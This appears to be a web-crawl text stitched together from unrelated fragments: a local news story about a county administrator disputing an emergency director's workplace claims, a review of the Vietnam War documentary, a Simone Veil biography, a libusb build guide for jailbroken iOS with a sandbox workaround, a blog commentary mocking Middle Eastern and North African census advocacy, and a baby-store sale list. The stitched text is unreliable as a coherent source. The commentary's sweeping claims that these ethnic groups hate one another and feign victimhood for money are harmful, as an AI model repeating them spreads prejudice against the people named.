A few days after the release of the report by the sheriff’s office, Johnson agreed to sit down with the Metro Spirit to discuss the findings in the report, as well as some of the previous articles that ran in the newspaper regarding Tucker’s allegations and his leadership style.
“I just didn’t do the things that I have been accused of. I am not the boss that I’ve been made out to be,” Johnson said. “It is very disheartening for the public to think that we operate like that in Columbia County. We don’t.”
Johnson said the truth of the matter is that Tucker never once voiced any concerns that she had about him or his leadership style, and certainly nothing about a hostile work environment, to anyone, including the commissioners or human resources until she decided to resign in January.
“She never voiced anything to me. I went to the commissioners and asked them. She never voiced anything to any individual commissioners about me,” Johnson said. “I asked the other division directors. She had never voiced anything to the other division directors about any problems that we had. She had never been to HR. Not one time.”
In fact, Johnson said he thought Tucker was very happy in her position.
He specifically pointed to a Dec. 14 article in The Columbia County News-Times that stated Tucker was looking forward to the future and didn’t plan on going anywhere.
It wasn’t until EMA Deputy Director Rusty Welsh called him on Dec. 27 and told him he was going to resign that the problems first began, Johnson said.
Johnson met with Welsh in his office the following day while Tucker was still on vacation for the holidays.
Welsh informed Johnson that he was resigning due to what he described as “intolerable working conditions” created by Tucker.
Johnson said, under county policy, he felt he needed to investigate the matter.
Therefore, on Dec. 29 and Dec. 30, Johnson met with three of Tucker’s managers to discuss the allegations against Tucker.
After meeting with the managers for about 15 minutes each, Johnson said he quickly learned that all three mangers did not share Welsh’s sentiment that Tucker created intolerable working conditions.
“After talking to the three that I brought up, I found there not to be any validity to Rusty’s hostile work environment claims,” Johnson said. “What I found was a situation where Pam may have been a little bit overbearing in my opinion, but there was no violations. She was exonerated of any wrongdoing. She wasn’t in trouble in any way, shape or form.”
So, when Tucker returned to work on Tuesday, Jan. 3, Johnson met with her, along with Deputy County Administrator Glenn Kennedy, that afternoon to discuss Welsh’s resignation.
According to Johnson, Tucker was “taken completely by surprise by the resignation itself and the complaints,” and she became emotional after reading Welsh’s letter criticizing her as a division director.
Tucker was also extremely upset that Johnson had spoken to her three managers about the accusations without her knowledge.
According to Tucker’s account of that same meeting to the sheriff’s office, she described it as 2.5-hour “interrogation” by Johnson, where she thought “the big bright light was going to brought down into her face.”
Johnson insists that wasn’t the case at all.
Instead, Welsh was asked to meet with both Johnson and Tucker to discuss his intentions of resigning.
According to Johnson, Tucker wanted to convince Welsh not to leave, but Welsh stated he needed more time to think about it.
During the meeting, everyone agreed that Welsh should take some time off and return on Jan. 9 with his decision about whether he intended to resign.
On that same day, Johnson said he also spoke to Tucker about her management style and the importance of the department’s actions being a “team effort” and not about one individual.
During the conversation, Johnson said they began talking about Tucker’s popularity throughout the county.
But Johnson claims that Tucker took the discussion the wrong way.
“I said, ‘You know, Pam, 70 percent of the people in this community love you,’” Johnson said. “And she stopped me. Now, she quoted me in her interview with the sheriff’s office as saying, ‘The other 30 percent hate your guts.’ But that’s not what happened, I said, ‘Pam, 70 percent of the people in this community love you.’ And she said, ‘You mean to tell me, you think 30 percent don’t like me?’”
Johnson said he quickly corrected her.
“I said, ‘No. That’s not what I said, but maybe. But 50 or 60 percent maybe don’t |
go fight that he ran away from home until his parents agreed to let him enlist. Once in Vietnam, Mogie had a terrifying encounter with the reality of war. His commander once offered a case of whiskey to the first man who brought back the decapitated head of an enemy soldier—the task was soon completed. Mogie voiced doubts about Vietnam to his sister, Carol, who went off to college and eventually joined the antiwar movement. Mogie was killed in 1966. The easy pace with which this family’s story is told has a devastating effect. A phrase from Mogie’s letters, or a look on his sister’s face, can linger in the back of your mind for a whole episode or two, informing your reception of the newsreel footage and battlefield photographs, before the narrative circles back to the Crockers. In the fourth episode, you learn that Mogie’s parents chose to have him buried at Arlington. Why not closer to home, so that they could visit his grave? Mogie’s mother is interviewed onscreen, but her answer to this one question is delivered via the narrator, a fact that is almost as haunting as the answer itself: “A corner of my heart knew that if he were buried near us I would want to claw the ground to retrieve the warmth of him.” Burns and Novick treat the Crockers with a degree of care, respect, and filmmaking sophistication that they do not extend to any Vietnamese family.
The film makes no independent contribution to the historical scholarship of the war. Burns and Novick appear, bizarrely, to have made a point of this. One of their ground rules for the project, as the New York Times reported it, was that they would interview “no historians or other expert talking heads.” Burns didn’t want to include anyone with what he called “an interest in having history break the way they want it to break.” First of all, everyone has an interest in history breaking the way they want it to break. Second, The Vietnam War includes interviews with John Negroponte, who made an enemy of Henry Kissinger over Vietnam while in the Foreign Service in the 1970s; Robert Rheault, the Special Forces commander whose time in Vietnam provided Francis Ford Coppola with the inspiration for Colonel Kurtz; and Leslie Gelb, who produced a government report on the war that would eventually come to be known as the Pentagon Papers.1 You’d think they would have been excluded along with the historians under the filmmakers’ alleged rubric. That issue aside, Burns’s dismissal of historians as a professional group is not encouraging. It is as though Burns sees historians as just resource extraction technicians, rather than as people who might also have a special understanding of the materials they uncover. The result is that The Vietnam War tells the same story that the US has been telling itself for the last few decades, the one in which the war is a tragic blunder in which a lot of good people came to bad ends.
Largely unconcerned with how and why societies change as a result of events (i.e., with history), Burns and Novick’s real subject is how the war was experienced by the individual Americans who came of age as it happened. It is a film about a generation, not an event. On that count, and in ways that sometimes work against the film’s apparent intentions, The Vietnam War is dark, shocking, and often unforgettable. Karl Marlantes, a veteran who did a tour with the Marines (and later wrote a novel about the war, Matterhorn), delivers the film’s first spoken line. “Coming home from Vietnam was close to as traumatic as the war itself.” We know some of the reasons why this was so. Veterans were sometimes confronted by protesters at airports upon their arrival in the US. The transition back into civilian life was bewildering. People came back with drug dependencies—at least forty thousand soldiers used heroin in Vietnam—or with PTSD, and as the war decreased in popularity, these soldiers were often regarded, even by people not inclined to take to the streets with signs, as symbols of embarrassment rather than as people in need of care. The feelings of embarrassment were not all responses to the national humiliation those veterans represented, though. Veterans also came back with a body of knowledge people did not want to hear about, one the government has been anxiously working to suppress ever since, with a fair amount of success. The Vietnam War brings much of this body of knowledge back to life.
First, soldiers and the journalists who covered them learned what combat is like. The Vietnam War deals with both the horrors that are unique to warfare, that are present in no other human experience, and the adrenaline rushes that allow soldiers to keep fighting in spite of them. In the eighth episode, one veteran describes crawling down into a narrow underground tunnel, looking for North Vietnamese soldiers. In total darkness, he found one, and a struggle ensued, which he won with his bare hands. “I beat and strangled someone to death, someone in a tunnel, in the dark,” he says, adding that the fight had two casualties, the second being “the civilized version of me.” In the previous episode, Karl Marlantes says, “Any sane person would never do crack. Combat is like that.” The misery and terror, he says, are counterbalanced by a kind of “transcendence,” the knowledge that “everything is at stake.” Plus, “there’s a savage joy in overcoming your enemy.” In lieu of transcendence, there is the detachment afforded by fighting from the air. One pilot describes his bombing runs as like a “ballet in the sky, and I was just performing what I was doing.” The double detachment of that last phrase—“I was just performing what I was doing,” with no mention of what he was actually doing—conveys the pilot’s need, forty years on, to hold his own actions at a distance.
The pilot is a bit of an outlier. A number of veterans interviewed recount intimate experiences of violence with a forthrightness that is hard to understand or believe. In the sixth episode, one soldier tells the story—it’s not right to say that he “admits” to it, since he is recounting the experience without the prompt of an accusation—of participating in a gang rape. He recalls someone from his unit coming in and saying, “‘I found this girl who will fuck us all for C-rations.’... I demonstrated to myself how little courage I actually had.... I did it, because I wasn’t gonna say, ‘You guys, we shouldn’t do something like this.’ Even more than the killings, [that’s] the thing I think I’m most ashamed of when I think back on the time I spent there.... Somebody gets shot—not a good thing. See somebody running away—coulda been a VC. That woman, nah, I had every opportunity to say no.” Why would someone agree to appear on screen in a Ken Burns documentary and tell this story about himself? Because only by holding himself up as an example of what people do in war can he make his experience mean anything at all. This is a common refrain among Burns and Novick’s veteran interview subjects. Another part of the body of knowledge soldiers brought back home was the understanding that what they had done and gone through in Vietnam was meaningless, and that the government had rendered the lives and aspirations of thousands of young men and women meaningless by sending them to fight in the first place.
This meaninglessness was palpable at the time, on the ground, and soldiers recognized it for what it was. In November 1967, more than three hundred American soldiers were sent to take control of a hill designated only by a number, Hill 875. More than 100 Americans died over the course of four days, with another 250 wounded. When soldiers finally reached the summit, they found that the North Vietnamese had simply abandoned their posts and fled. “We literally got to the top of the hill,” one soldier says in the film, “and sat there for, I don’t know, half an hour, an hour, just kind of gathering ourselves and everything together. [Chinook helicopters] came in, took us off the hill, and I doubt there’s been an American on Hill 875 since November 23rd.” General John Wright, when asked to explain another, similarly useless assault on and abandonment of a hill, said, “No piece of ground as such is important to us.”
Remarks like these make it easier to understand the mood Karl Marlantes found himself in when he gave up a Rhodes scholarship and went to fight in a war he believed was wrong. He’d trained with other Marine cadets before heading to England, and he could not bear the thought of not being with them and helping them make it home. This fellow-feeling did not make him sentimental. If anything, it made his views of his own actions even more lacerating. He wrote a letter to his parents, explaining his decision:
I can only feel a feeling of rage and frustration, and a feeling of complete helplessness. I have in effect been hiding, and I’ll not do it anymore. I guess I’m about to do a highly immoral thing. I will be taking part in one of the greatest crimes of our century, and I will be doing so out of frustration, bitterness, and a sense of the absurd that I’ve only come to appreciate in its entirety in the past year. From now on my logic will be changed. I can do something, that is I can do my very best to get forty kids out of Vietnam alive, and if I have to turn into an evil machine to do it, then by God I will.
These soldiers also understood exactly who it was turning them into evil machines: it was the United States. That’s the realization that constituted the great generational trauma of the Vietnam War, and it’s that trauma that Burns and Novick’s film illuminates. “We were probably the last generation of American kids,” a veteran named John Musgrave says in the second episode, “who believed our government never lied to us.” Anyone who has been through a public school history class in the last thirty years has heard a version of that sentiment—that the Vietnam generation was the last to grow up believing in the fundamental goodness and honesty of the American government—about a thousand times, and of course it was never universally held, especially among the working-class and minority soldiers who suffered a disproportionate share of the war’s casualties. But I hope it won’t mark me as naïve to say that I still found it shocking to realize that many people really did believe that, before the war. I felt that I understood the set of cultural upheavals that we call the Sixties in a new way, or for the first time. Kids joining the Army were told they were going to Vietnam to free an oppressed people, only to find that what they were actually doing was putting down a struggle for national independence that reminded them of the American Revolution more than anything else. For many soldiers, the understandable response to that discovery was rage, despair, and hopelessness.
This knowledge isn’t worth much if it is only held individually, even if by a great many individuals. And it’s here that Burns and Novick once again fail to recognize the import of their own work. If the line about decency and good faith constitutes their thesis on the war itself, a passage of narration in the film’s final episode serves as a thesis on how Americans should understand their experience of it. “Meaning can be found,” the narrator says, “in the individual stories of those who lived through it, stories of courage and comradeship and perseverance, of understanding and forgiveness, and ultimately reconciliation.” That is exactly wrong. To the extent that Americans have been able to draw any positive meaning from the Vietnam War, it hasn’t been as individuals; that meaning was produced collectively. A new understanding of the US as an imperial power, a recognition of the extent to which the country’s foreign policy decisions are shielded from the democratic process, a reckoning with the brutality of what is involved in “protecting American interests abroad”—these are the Vietnam War’s meager but valuable fruits. The name of the collective that produced them is the antiwar movement.
A number of veterans interviewed in the film specifically say it was joining the antiwar movement that pulled them back from despair. Bill Ehrhart, a Marine who became a student at Swarthmore College after his tour, recalls seeing the famous photograph of the dead student at Kent State and having a breakdown on the curb. “All I could think was, ‘It’s not enough to send us halfway around the world to die, now they’re killing us in the streets of our own country,’” he says. “And when I finally cried myself out, I got up and joined the antiwar movement.” The protests and actions carried out in the late ’60s and early ’70s were so disruptive that they made two presidents a little nuts: both Johnson and Nixon were sure that the antiwar movement was being directed from Hanoi, Beijing, and/or Moscow. In 1971, future presidential candidate John Kerry testified before the US Senate as a representative of Vietnam Veterans Against the War. The meaninglessness of the war and the lives lost to it, and the antiwar movement’s effort to redeem those lives, was at the center of his testimony:
The country doesn’t know it yet, but it has created a monster, a monster in the form of millions of men who have been taught to deal and to trade in violence, and who are given the chance to die for the biggest nothing in history... We wish that a merciful God could wipe away our own memories of that service as easily as this administration has wiped away their memories of us. But all that they have done, and all that they can do by this denial, is to make more clear than ever our own determination to undertake one last mission: to search out and destroy the last vestige of this barbaric war; to pacify our own hearts; to conquer the hate and fear that have driven this country these last ten years and more. And so, when, thirty years from now, our brothers go down the street without a leg, without an arm, or a face, and small boys ask why, we will be able to say “Vietnam” and not mean a desert, not a filthy obscene memory, but mean instead where America finally turned, and where soldiers like us helped it in the turning.
America did not turn. It is impossible to imagine today’s Senate listening to words like this, to someone—even a veteran—calling the war on terror “the biggest nothing in history.” Kerry himself voted in 2002 to authorize the invasion of Iraq. For a time, there was a real public reluctance to support the US engaging in full-scale military conflict, which government officials referred to pejoratively as “Vietnam Syndrome.” The Gulf War swept most of it away, and September 11 took care of the remnants. Since then, military jingoism has reigned more or less unchecked. Presidents are trusted to kill people abroad no matter how hated their domestic policies may be, and veterans are trotted out for obligatory standing ovations at sporting events (a number of Major League Baseball teams now bring out a veteran at every game).
This is possible sixteen years into a useless global war because the government has been careful to avoid the kinds of things that allowed the Vietnam-era antiwar movement to emerge. Drone warfare, the use of private military contractors, and increased reliance on small Special Operations units have kept the number of American soldiers killed in the war on terror below ten thousand. A military draft was never raised as a possibility. Protest has been effectively criminalized in many instances. Media coverage of American military operations has been severely curtailed. Journalists covering Vietnam essentially had free rein to roam the battlefields with their cameras, whereas reporters in Iraq and Afghanistan had their whereabouts monitored, their copy subject to censorship, and their access to combat zones severely restricted. The most consequential images to date of the war on terror were not made by journalists at all, but by soldiers wanting keepsakes of the torture sessions they conducted at Abu Ghraib. We do not have a sense today, or at least not a visceral, collective one, of what the war on terror is like, what it has done to people abroad, or what it has done to people in the US, including those who did and continue to do the fighting. This means that those who fought in the Vietnam War and then fought against it are the only people in the country who know both the experience of American military adventurism and the experience of rejecting it. For all its historical incompetence and sentimentality, The Vietnam War has preserved much of that knowledge, along with the possibility of that knowledge being put to use again someday in the future.
If you like this article, please subscribe to n+1.From Wikipedia, the free encyclopedia
Not to be confused with Simone Weil, a French philosopher.
Simone Veil, DBE ( French pronunciation: [simɔn vɛj]; born 13 July 1927) is a French lawyer and politician who served as Minister of Health under Valéry Giscard d'Estaing, President of the European Parliament and member of the Constitutional Council of France.
A survivor from the Auschwitz-Birkenau concentration camp where she lost part of her family, she is the Honorary President of the Fondation pour la Mémoire de la Shoah.[1] She was elected to the Académie française in November 2008. She is best known for pushing forward the law legalizing abortion in France on 17 January 1975.
Early years [ edit ]
Veil was born Simone Annie Liline Jacob, the daughter of a Jewish architect in Nice, Alpes-Maritimes, France.[1] In March 1944, Veil's family was deported, Simone, her mother and one sister, Milou, to Auschwitz-Birkenau then Bergen-Belsen where her mother Yvonne died shortly before the camp's 15 April 1945 liberation. Veil's father and brother also died; they are last known to have been sent on a transport to Lithuania.[1] Veil's other sister, Denise, who had been arrested as a member of the Resistance survived her imprisonment in Ravensbrück. Milou died in a car crash in the 1950s. Veil returned to speak at Auschwitz-Birkenau in 2005 for the 60th anniversary of the liberation of the camps.[2]
Having obtained her baccalauréat in 1943 before being deported, she began the study of law and political science at Sciences Po and at the University of Paris, where she met her future husband Antoine Veil.[3] The couple married on 26 October 1946, and have three sons, Jean, Nicolas, and Pierre Francois. Antoine Veil died on 12 April 2013, at the age of 86 after 66 years of marriage.[4]
Veil became an attorney and worked for several years as a civil servant in the Ministry of Justice.
Political career [ edit ]
31 May 1988
Ministry of Justice [ edit ]
Having graduated from the Institut d'Etudes Politiques de Paris with a law degree, she renounced her career as a lawyer, and in 1956, successfully passed the national examination to become a magistrate.[1] Veil then entered and held a senior position at the National Penitentiary Administration under the Ministry of Justice where she was responsible for judicial affairs and improved women's prison conditions and treatment of incarcerated women.[5] She abandoned this post in 1964 to become director of civil affairs during which she improved French women's general rights and status.[1] She successfully achieved the right to dual parental control of family legal matters and adoptive rights for women.[1] In 1970, she became secretary general of the Supreme Council of the Magistracy (Conseil supérieur de la magistrature).[5]
Minister of Health [ edit ]
From 1974 to 1979 she was Minister of Health in the governments of prime ministers Jacques Chirac and Raymond Barre. She pushed forward the following notable laws:
Making access to contraception easier (4 December 1974) – the sale of contraceptives such as the combined oral contraceptive pill had been made legal in 1967.
Legalizing abortion (17 January 1975), her hardest political fight, and the one for which she is best known. The abortion debate was a particularly difficult time as those opposed to the law launched personal and aggressive attacks against Veil and her family. [ 1 ] However, since the passing of the law, many have paid tribute to Veil and thanked her for her courageous and determined fight. [ 1 ]
European Parliament [ edit ]
Veil was elected as a Member of the European Parliament in the 1979 European election. In its first session, the new Parliament elected Veil as its President, which she served as until 1982.[6] As well as being the first president of the elected Parliament, she was the first female President since the Parliament was created in 1952. In 1981, Veil won the prestigious Charlemagne Prize.[7] She was re-elected in the 1984 election and became the leader of the Liberal Democrat group until 1989. She was re-elected for the last time in the 1989 election, standing down in 1993.[6]
Between 1984 and 1992 she served on the Committee on the Environment, Public Health and Food Safety, and the Committee on Political Affairs. After standing down from these committees she served on the Committee on Foreign Affairs and its related Subcommittee on Human Rights. Between 1989 and 1993 she was also a member of Parliament's delegation to the ACP-EU Joint Parliamentary Assembly, serving as its vice-chairwoman until 1992.[6]
Return to French Government [ edit ]
From 1993 to 1995 Veil was again a member of the cabinet, serving as Minister of State and Minister of Health, Social Affairs and the City in the government of Prime Minister Édouard Balladur.[8]
Member of the Constitutional Council [ edit ]
In 1998, she was appointed to the Constitutional Council of France. In 2005, she put herself briefly on leave from the Council in order to campaign in favour of the Treaty establishing a Constitution for Europe. This action was criticized, because it seems to contradict the legal provisions that members of the council should keep a distance from partisan politics: the independence and impartiality of the council would be jeopardized, critics said, if members can put themselves "on leave" in order to campaign for such or such project.[9] In response to this opposition, Veil challenged the attacks claiming that she, the President of the Constitutional Council and colleagues had deliberated on the issue beforehand and they had given her permission to take her leave without having to resign. Being a staunch supporter of the European project, she believed others should not "ignore the historical dimension of European integration".[9]
Honors and other activities [ edit ]
In 1998, she was awarded an honorary damehood by the British government.[10]
In 2003, she was elected to the Board of Directors of the International Criminal Court's Trust Fund for Victims.[11]
In 2005 she was awarded with the Prince of Asturias Award in International Cooperation.
In 2007, she was awarded the North-South Prize of the Council of Europe.
In 2007, Veil surprised many observers by declaring her support for the neo-conservative presidential candidate Nicolas Sarkozy. She was by his side on the day after he received 31 percent of the vote in the first round of the presidential elections that year.[12]
Veil entered the Académie française in 2008, the sixth woman ever to do so.[13] Veil joined the Academy's forty "immortals" at their 13th seat, originally the seat of Jean Racine. Her induction address was given in March 2010 by Jean d'Ormesson. On her sword, given to her as to every other immortal, is engraved her Auschwitz number (number 78651), the motto of the French Republic (liberté, égalité, fraternité) and the motto of the European Union (Unis dans la diversité).[14]
She also participates as jury member for the Conflict Prevention Prize[15] awarded every year by the Fondation Chirac.
She was awarded the Grand Cross of the Légion D'Honneur in 2012.[16]
Governmental functions
Minister of Health: 28 May 1974 – 29 March 1977
Minister of Health and Social security: 29 March 1977 – 3 April 1978
Minister of Health and Family: 3 April 1978 – 4 July 1979
Minister of State, Minister of Social affairs, Health and City : 31 March 1993 – 16 May 1995
Electoral mandates
President of European Parliament : 1979–1982 (Elected member in 1979)
Member of European Parliament : 1982–1984
Chair of the European Liberal Democrat and Reform Party: July 1984 - July 1989
Other functions
Member of the Constitutional Council of France: March 1998 - March 2007
President of the Shoah Foundation: 2000 - 2007 (Honorary President since 2007)
Member of the Board of Directors of the French Institute of International Relations (IFRI)
References [ edit ]Code: sudo ln -s /Developer/SDKs/MacOSX10.7.sdk/System/Library/Frameworks/IOKit.framework/Headers /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk/System/Library/Frameworks/IOKit.framework
Code: $ git clone git://git.libusb.org/libusb.git
Code: $./autogen.sh $ chmod 775 build-ios.sh $ sudo./build-ios.sh
Libusb is an open-source C library for creating drivers for USB devices across different OS's and devices. It also works on iOS, although, I have never seen any tweaks/apps using it. You could, for example, tweak some dj app to work with your USB turntable or you could make your game controller work for games.Requirements:- You have a jailbroken iDevice(with openSSH) and the iPad Camera Kit (I have only tested with iPad 2, but it should work on iPhone 4 too)- You have Xcode with the iOS 5 SDK installed.- You are able to make a tweak/program for a jailbroken iDevice- You know how to use libusb1. Make a symlink to IOKit.In Terminal: (Change this according to your OSX and iOS version)2. Download the newest libusb. (1.0.9b3 at the time of writing; 1.0.8 doesn't work as far as I know)In Terminal:3. Download build-ios.sh and put it in the libusb folder.4. Build libusb.In Terminal:5. Copy the content of libout to /usr/lib/ onto your iDevice.6. Also copy the content of libout to /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk/usr/lib/ on your mac. (change this for your iOS version)7. Copy libusb.h from the libusb folder(so libusb/libusb) to /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk/usr/include/ on your mac.8. Build your libusb app/tweak with this SDK and put it onto your iDevice. (don't forget to add -lusb-1.0 to the compiler flags)9. Copy your app(or the app you tweaked) from /private/var/mobile/Applications/***/ to /private/var/stash/Applications/ to circumvent sandboxing restrictions.10. Respring and connect the device to your iDevice with the Camera Kit. Your app should be able to access an USB device.Important: I don't take responibility for any malfunctioning related to this howto.As all the talk in the media about the benefits of White Privilege reaches a crescendo, various groups of white people are acting as if they don’t actually believe it. Instead, they are looking for ways to stop being white in the eyes of the government. From Pew:
Counting Americans of Middle Eastern, North African Descent
August 13, 2014 By Teresa Wiltz For many Americans, checking the right box on the U.S. Census form is a reflexive gesture, whether it’s marking “black,” “white,” “Hispanic,” “Asian,” “American Indian”—or all of the above. But for Americans of Middle Eastern and North African descent, or “MENA,” it’s a real head-scratcher.
MENA? Is that supposed to be a thing now?
MENA extends from Morocco to, what, the Khyber Pass?
Is this really a “community?” Aren’t these groups crucifying each other back home?
Whatever happened to the political wisdom of Divide and Rule? Since the 1960s, the American Establishment’s tactic regarding random foreigners who show up in the U.S. seems to be: Unite and Submit.
They come in a variety of phenotypes and shades—ranging from pale to deepest ebony, and hail from 22 different countries, from Iran to Egypt to Sudan. And yet, for the census, since the beginning of the last century, the MENA community has been lumped into the “white” category.
Having white people call you white is the most insidious kind of racism.
Back in 1909, such a designation made a lot of sense, but today, members of the MENA community are lobbying the U.S. Census to create a separate “MENA” category for the 2020 decennial count. “White,” they argue, renders them invisible in official population counts. Without correct data, advocates say, cities and states lack adequate resources to effectively handle everything from funding educational programs to battling infant mortality to tracking employment discrimination to staffing hospitals with enough Farsi translators. Census data directly impacts how more than $400 billion in federal funding is allocated across the country. Census data also has political effects. For example, after the 2010 count, the census released a list of 248 jurisdictions across the country that now are required to provide language assistance to voters, as mandated by the Voting Rights Act. (The vast majority of those districts are for Spanish-speaking citizens.) “This is a bread and butter issue,” said Sarab Al-Jijakli, a Brooklyn-based community organizer and the president of the Network of Arab-American Professionals (NAAP). “Education is obviously a key point; 25 percent of public school kids in Bay Ridge [Brooklyn] may be of Arab descent. Are the services being given in that school really serving the local community? These are the questions we ask.” What’s more, some argue, being classified as “white” prohibits the MENA community from taking advantage of the benefits that come with minority status—including local, state and federal programs that give a leg up to minority-owned businesses in awarding government contracts.
That was the big reason back in the 1970s-1980s when Indian and Pakistani immigrant businessmen successfully got themselves officially lumped in with Orientals (renamed Asians) so they could profit from racial preferences for minorities in contracting and loans.
“When they pigeonhole us into the ‘white’ category, it’s as if we don’t exist,” said Samer Khalef, national president of the American-Arab Anti-Discrimination Committee (ADC). “We’re counted as ‘white,’ but we’re not treated as ‘white.’ We have the ‘no-fly’ lists; we’re subjected to heightened security wherever we go. Yet we’re considered ‘white.’ That’s our problem. We are considered ‘white’ without the privileges of being ‘white.’” Since 1980, the U.S. Census has collected data on the growing Arab-American population from the ancestry question on the form. According to responses to that question, there are about 1.6 million Americans of Arab descent. But the Arab-American Institute says that relying on the “ancestry” question alone means that MENA community is undercounted. They estimate the number of Arab Americans to be 3.7 million.
Back in 2000 when I worked this beat for UPI, they were claiming 6 or even 7 million Arabs.
Counting other non-Arab MENA populations such as Iranians, Turks, Chaldeans and Armenians would bring the number up to 5 million, according to Helen Hatab Samham, former executive director of the Arab-American Institute Foundation.
Don’t forget the Kurds and the Yezidis, too. Granted, all these groups back in the Old Country, where they aren’t undermined by White Racism, are trying to kill each other. But over here in racist America they can officially unite around how much they too hate the Straight Cisgendered White Man, at least as soon as they can get themselves declared by the government not to be white for purposes of getting low interest SBA loans.
“We have a very diverse and complex identity,”
In other words, we traditionally hate each other, the way Armenians hate Turks, but give us some government contracting preferences and we’ll pretend to be victims of White American Racism if that’s what it takes to get our hands on the moolah.
said Hatab Samham, whose organization was part of a coalition that wrote a letter to federal officials formally requesting the new category. More than two-dozen Arab-American and other MENA groups signed on to the letter. “More of us would identify as people of color. The kind of strict racial options that we have right now don’t fit.”
Notorious victims of white racism in America include former Mayor of Beverly Hills Jimmy Delshad, an Iranian immigrant. And since Persian Jews would now be eligible for special minority business development low interest loans from the Small Business Administration, then it would only be a matter of time before the logic of Israeli immigrants as part of MENA would prevail too. So, Armenians, Turks, Jews, Arabs, they all come here to be victimized by the White Man, so their businessmen deserve special favors from the taxpayers, especially as compensation for their historic burden of being libeled as white.
Officially, the business of counting populations is a federal matter. The Office of Management and Budget (OMB) tells the Census Bureau what the racial and ethnic classifications are. Currently, OMB breaks down the population into five racial categories—black, white, Asian/Pacific Islander, American Indian/Alaska Native and one ethnic category, Hispanic (Hispanics, like the MENA population, can be of any race). … In 1909, George Shishim, a policeman living and working in Venice, California, had to fight for the right to claim U.S. citizenship. Because he was born in Lebanon, under the dictates of the time, he was deemed by the U.S. to be of “Chinese-Mongolian” ancestry and therefore ineligible for citizenship. The Syrian-Lebanese community rallied behind him and hired a lawyer. Ethnographic studies were done to prove the “white” bona fides of the Arab population. Finally, a Superior Court judge agreed, and Shishim was sworn in as a citizen. Today, “white” as defined by the federal government, is “a person having origins in any of the original peoples of Europe, the Middle East, or North Africa. It includes people who indicate their race as ‘White’ or report entries such as Irish, German, Italian, Lebanese, Near Easterner, Arab, or Polish.” But while it made sense for the MENA community to fight for a “white” designation a century ago, it is less advantageous now. “To get out of that racist legislation, it was the right thing to do,” Khalef said. “But since then, we’ve been dealing with the consequences.” In 2012, the American-Arab Anti-Discrimination Committee petitioned the Minority Business Development Agency, which is part of the Department of Commerce, to ask that the MENA community be designated a minority/disadvantaged community. According to Abed Ayoub, the ADC’s legal and policy director, the group filed the petition after being flooded with reports of discrimination. For example, there was the Arab-American business owner whose construction company was working at the New York Port Authority. At one point, Ayoub said, the company owner wasn’t allowed on his own work site because he was being racially profiled after 9/11. Other Arab-owned businesses were forced to close after 9/11, he said. MENA business owners operating outside areas with large Arab-American populations such as Detroit, South Florida, Chicago, California and New York really struggle, he said. “Whether you’re a doctor or an attorney,” once clients see you have an Arab-sounding name, they don’t go to that office,” Ayoub said. The MBDA rejected the initial petition and referred it back to the ADC. In his response, MBDA director David Hinson wrote, “while there is qualitative evidence that demonstrates that Arab-Americans have faced significant prejudice in numerous instances, there is insufficient evidence that this undeniable prejudice has impaired their ability to compete in the free enterprise system due to diminished capital and credit opportunities.” Ayoub said that the ADC is trying to obtain funding for a disparity survey, which he said would cost upwards of $1 million. The survey, he said, will document the discrimination Arab-American business owners face. “It’s very difficult for an Arab to open a business in Kansas and be successful,” he said. ‘Check it Right, You Ain’t White’ MENA identity has evolved over the years. People descended from the earlier wave of immigrants who came to the U.S. between 1880 and 1920, and are fourth-, fifth- and sixth- generation Americans are more likely to identify as white, according to Akram Khater, director of the Khayrallah Program for Lebanese-American Studies at North Carolina State University. The waves of Middle Easterners who have migrated since the 1960s tend to see things differently. “Those who came (more recently) retain a much more fresh connection to the region,” said Khater, who served on the advisory committee for the U.S. Census. “They felt 9/11 more keenly.” In 2010, there was an all-out campaign to get members of the MENA population to check “some other race” rather than “white” on the census form, and then to write “Arab” or “Moroccan” or “Iranian” on the form. Stand-up comic Maz Jobrani, of the “Axis of Evil” comedy tour, produced a YouTube video in which he impersonated a variety of Iranian-Americans looking askance at a census taker. “I’m Italian,” they tell the census worker. Others posted YouTube videos urging Arab Americans to, “Check it right; you ain’t white!” But the campaign met with mixed results, Jobrani said. Some people thought it was a joke. Others were wary of identifying themselves as MENA for fear of being targeted o r profiled, “Then there are people who don’t want to rock the boat, who are like, ‘I’m fine; I consider myself American,’” he said.
In today’s America, that kind of thinking |
ocking Wednesday; PLUS something new this way comes – stay tuned late Thursday!
Logan&Lenora Wet Bags 15% off
Planet Wise 35% off
Preloved Newborn Diaper Rental book your Preloved Newborn Diaper Rental in full and receive a $20 gift certificate to spend in December. Mention ‘Mad Money’ in comments section at checkout. Valid for all preloved rentals booked 11/25-11/28. Gift certificates will be emailed 12/1.
Preloved Newborn Diaper Sell Off just $2.50 for Fitteds and $4.50 for All-in-Ones
Preloved Diapers additional 20% off remaining preloved
Peachy Green 20% off
Sloomb 15% off
Smart Bottoms 15% off; 30% off BFF
Spray Pal 15% off restocking Wednesday
Sweet Pea 15% off
Thirsties 15% off
Tots Bots 20% off
3Pommes 20% off
Books to Bed Jammie & Book Set 30% off
Copper Pearl Bibs 20% off
Feather Feet Shoes 40% off
Local T 25% off
Loved Baby 20% off
Snow&Arrow 40% off select prints: Apple Jack, Mary’s Garden, Pink Pineapple, Roost, Surf, Tartan + all 3T
Baby SweeTooth Teether 15% off
BabyLit Books 20% off
Boba Doll Carriers 20% off
Crazy Aaron Thinking Putty 20% off
EcoKids Art Supplies 40% off
Fat Brain Toys 10% off
Grapple Toy Tether 20% off
Hudson & Heart Dolls 25% off
Kido 20% off
Lillebaby Doll Carriers – sale begins Monday – stay tuned!
Plan Toys 25%
Globe Totters 10% off Kansas City blocks
Tegu 15% off
This is Kansas City Book 15% off
Uncle Goose Blocks 15% off
IN ADDITION – spend $50 or more on toys (after all discounts are applied) and get a free toy pack valued $10+.
Chewbeads 20% off
Covered Goods 20% off
EZPZ 20% off
Grace and Parker 20% off
Tula Blankets – sale begins Monday! Stay tuned!
Logan&Lenora 20% off
Local T 25% off
Poppy Drops 50% off
Toofeze 25% off
Beco – 10% off
Boba – 10% off
Lillebaby – per Lillebaby, sale begins Monday! Stay tuned!
Tula – per Tula, sale begins Monday! Stay tuned!
IN ADDITION – get a free retractable mirror with your carrier purchase of $89+ after all discounts are applied.
All discounts will be live on our site at midnight eastern 11/25. No coupon needed.
FREEBIES
